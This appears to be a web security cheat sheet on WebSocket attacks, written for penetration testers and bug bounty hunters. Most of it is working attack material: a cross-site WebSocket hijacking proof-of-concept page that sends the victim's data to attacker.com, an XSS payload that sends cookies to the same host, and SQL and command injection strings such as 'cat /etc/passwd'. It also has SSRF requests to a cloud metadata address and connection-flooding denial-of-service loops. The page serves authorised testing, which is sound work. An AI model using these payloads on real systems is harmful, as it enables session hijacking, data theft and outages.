Skip to content
Web Security

WebSocket Attacks

WebSocket hijacking, message manipulation, and CSWSH exploitation

Detection

Find WebSocket Endpoints

JAVASCRIPT
// Browser DevTools → Network → WS filter
// Look for connections starting with ws:// or wss://

// Common endpoints
/socket
/ws
/websocket
/socket.io
/sockjs
/realtime
/live
/stream
/api/ws

In JavaScript Files

BASH
grep -rE "WebSocket|wss://|ws://" *.js
grep -rE "new WebSocket" *.js
grep -rE "socket\.on|socket\.emit" *.js  # Socket.io

Cross-Site WebSocket Hijacking (CSWSH)

Vulnerability Check

TEXT
CSWSH is possible when:
1. WebSocket uses cookies for authentication
2. No Origin header validation
3. No CSRF token in connection handshake

Testing Steps

TEXT
1. Open WebSocket connection from attacker origin
2. If connection succeeds with victim's session → vulnerable
3. All subsequent messages authenticated as victim

PoC Page (Host on Attacker Server)

HTML
<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
// Open connection (victim's cookies sent automatically)
var ws = new WebSocket('wss://vulnerable.com/socket');

ws.onopen = function() {
    console.log('Connected with victim session!');
    
    // Send authenticated action
    ws.send(JSON.stringify({
        action: 'getPrivateData'
    }));
};

ws.onmessage = function(event) {
    // Exfiltrate stolen data
    fetch('https://attacker.com/log', {
        method: 'POST',
        body: event.data
    });
    console.log('Stolen: ' + event.data);
};

ws.onerror = function(error) {
    console.log('Error: ', error);
};
</script>
<h1>Visit this page while logged into vulnerable.com</h1>
</body>
</html>

Impact

TEXT
- Perform actions as victim
- Steal private data
- Real-time account takeover
- Worse than CSRF (bidirectional)

Message Manipulation

Burp Suite Setup

TEXT
1. Proxy → WebSocket history (shows all messages)
2. Right-click message → Send to Repeater
3. Modify and forward
4. Intercept WS messages in real-time

Common Attacks via Messages

IDOR

JSON
// Original
{"action": "getUserData", "userId": "123"}

// Attack
{"action": "getUserData", "userId": "456"}  // Other user's data
{"action": "getUserData", "userId": "1"}    // Admin user

SQL Injection

JSON
{"action": "search", "query": "' OR '1'='1"}
{"action": "getUser", "id": "1; DROP TABLE users;--"}

Command Injection

JSON
{"action": "ping", "host": "127.0.0.1; cat /etc/passwd"}
{"action": "process", "file": "| whoami"}

XSS

JSON
// If message content rendered in other users' browsers
{"message": "<img src=x onerror=alert(document.cookie)>"}
{"username": "<script>fetch('https://attacker.com/'+document.cookie)</script>"}

Prototype Pollution

JSON
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}

Authentication Bypass

Token in URL (Information Disclosure)

TEXT
wss://target.com/socket?token=eyJhbGciOiJI...

// Token exposed in:
- Browser history
- Server logs
- Referrer headers
- Shared links

No Authentication

JAVASCRIPT
// Connect without session
var ws = new WebSocket('wss://target.com/socket');
// If connection works, test privileged actions
ws.send('{"action":"adminFunction"}');

Weak Token Validation

JAVASCRIPT
// Empty token
wss://target.com/socket?token=

// Token from another user
wss://target.com/socket?token=stolen_token

// Expired token
wss://target.com/socket?token=old_expired_token

Denial of Service

Connection Exhaustion

JAVASCRIPT
// Open maximum connections
for (let i = 0; i < 10000; i++) {
    try {
        new WebSocket('wss://target.com/socket');
    } catch(e) {}
}

Large Message Attack

JAVASCRIPT
ws.send('A'.repeat(100000000));  // 100MB message

Message Flood

JAVASCRIPT
setInterval(() => {
    ws.send('{"ping": "flood"}');
}, 1);  // Message every 1ms

Malformed Messages

JAVASCRIPT
ws.send(null);
ws.send(undefined);
ws.send({});
ws.send([[[[[]]]]]);
ws.send('\x00\x00\x00');

Tunneling Through WebSocket

Use as Proxy

TEXT
Some WebSockets act as proxies:
{"action": "fetch", "url": "http://internal-server/admin"}

// SSRF via WebSocket
{"request": {"method": "GET", "url": "http://169.254.169.254/..."}}

Socket.IO Specific

Detection

JAVASCRIPT
// Look for socket.io connections
// Usually /socket.io/?EIO=4&transport=websocket

Emit Events

JAVASCRIPT
const socket = io('https://target.com');

// Try emitting events you shouldn't have access to
socket.emit('admin:getUsers');
socket.emit('deleteUser', {id: 1});
socket.emit('setRole', {userId: 1, role: 'admin'});

Event Injection

JAVASCRIPT
// If event name is controllable
socket.emit(userInput, data);  // Can trigger any handler

Testing Methodology

Step 1: Understand the Protocol

TEXT
- What events/messages exist?
- What authentication is used?
- What actions are available?
- Monitor normal usage first

Step 2: Test Origin Validation

TEXT
- Connect from different origin
- If successful → CSWSH possible

Step 3: Test Authorization

TEXT
- What actions require auth?
- Can you access other users' resources?
- IDOR in message parameters

Step 4: Test Input Validation

TEXT
- Injection in message content
- XSS via reflected messages
- SQLi/NoSQLi in queries

Bug Bounty Tips

High-Value Findings

TEXT
- CSWSH with sensitive actions
- Authentication bypass
- IDOR in WS messages
- Real-time data exfiltration
- Privilege escalation via WS

Proof of Concept

TEXT
1. Host PoC on your server
2. Demo with logged-in victim
3. Show stolen data/action performed
4. Record video if complex

What to Document

TEXT
- WebSocket endpoint URL
- Vulnerable message format
- Attacker origin PoC page
- Exact data/action accessed
- Impact statement
On this page